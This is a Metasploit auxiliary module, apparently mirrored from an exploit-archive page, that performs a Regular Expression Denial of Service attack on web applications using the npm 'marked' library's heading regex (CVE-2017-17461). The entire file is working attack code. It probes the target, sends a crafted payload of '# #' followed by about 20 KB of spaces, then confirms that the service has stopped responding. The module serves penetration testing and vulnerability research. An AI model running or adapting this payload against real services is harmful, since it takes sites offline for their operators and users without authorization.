Share
## https://sploitus.com/exploit?id=PACKETSTORM:180510
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'marked npm module "heading" ReDoS',  
'Description' => %q{  
This module exploits a Regular Expression Denial of Service vulnerability  
in the npm module "marked". The vulnerable portion of code that this module  
targets is in the "heading" regular expression. Web applications that use  
"marked" for generating html from markdown are vulnerable. Versions up to  
0.4.0 are vulnerable.  
},  
'References' =>  
[  
['URL', 'https://blog.sonatype.com/cve-2017-17461-vulnerable-or-not'],  
['CWE', '400']  
],  
'Author' =>  
[  
'Adam Cazzolla, Sonatype Security Research',  
'Nick Starke, Sonatype Security Research'  
],  
'License' => MSF_LICENSE  
))  
  
register_options([  
Opt::RPORT(80),  
OptString.new('HTTP_METHOD', [true, 'The default HTTP Verb to use', 'GET']),  
OptString.new('HTTP_PARAMETER', [true, 'The vulnerable HTTP parameters', '']),  
OptString.new('TARGETURI', [true, 'The URL Path to use', '/'])  
])  
end  
  
def run  
if test_service  
trigger_redos  
test_service_unresponsive  
else  
fail_with(Failure::Unreachable, "#{peer} - Could not communicate with service.")  
end  
end  
  
def trigger_redos  
begin  
print_status("Sending ReDoS request to #{peer}.")  
  
params = {  
'uri' => normalize_uri(target_uri.path),  
'method' => datastore['HTTP_METHOD'],  
("vars_#{datastore['HTTP_METHOD'].downcase}") => {  
datastore['HTTP_PARAMETER'] => "# #" + (" " * 20 * 1024) + Rex::Text.rand_text_alpha(1)  
}  
}  
  
res = send_request_cgi(params)  
  
if res  
fail_with(Failure::Unknown, "ReDoS request unsuccessful. Received status #{res.code} from #{peer}.")  
end  
  
print_status("No response received from #{peer}, service is most likely unresponsive.")  
rescue ::Rex::ConnectionRefused  
print_error("Unable to connect to #{peer}.")  
rescue ::Timeout::Error  
print_status("No HTTP response received from #{peer}, this indicates the payload was successful.")  
end  
end  
  
def test_service_unresponsive  
begin  
print_status('Testing for service unresponsiveness.')  
  
res = send_request_cgi({  
'uri' => '/' + Rex::Text.rand_text_alpha(8),  
'method' => 'GET'  
})  
  
if res.nil?  
print_good('Service not responding.')  
else  
print_error('Service responded with a valid HTTP Response; ReDoS attack failed.')  
end  
rescue ::Rex::ConnectionRefused  
print_error('An unknown error occurred.')  
rescue ::Timeout::Error  
print_good('HTTP request timed out, most likely the ReDoS attack was successful.')  
end  
end  
  
def test_service  
begin  
print_status('Testing Service to make sure it is working.')  
  
res = send_request_cgi({  
'uri' => '/' + Rex::Text.rand_text_alpha(8),  
'method' => 'GET'  
})  
  
if res && res.code >= 100 && res.code < 500  
print_status("Test request successful, attempting to send payload. Server returned #{res.code}")  
return true  
else  
return false  
end  
rescue ::Rex::ConnectionRefused  
print_error("Unable to connect to #{peer}.")  
return false  
end  
end  
end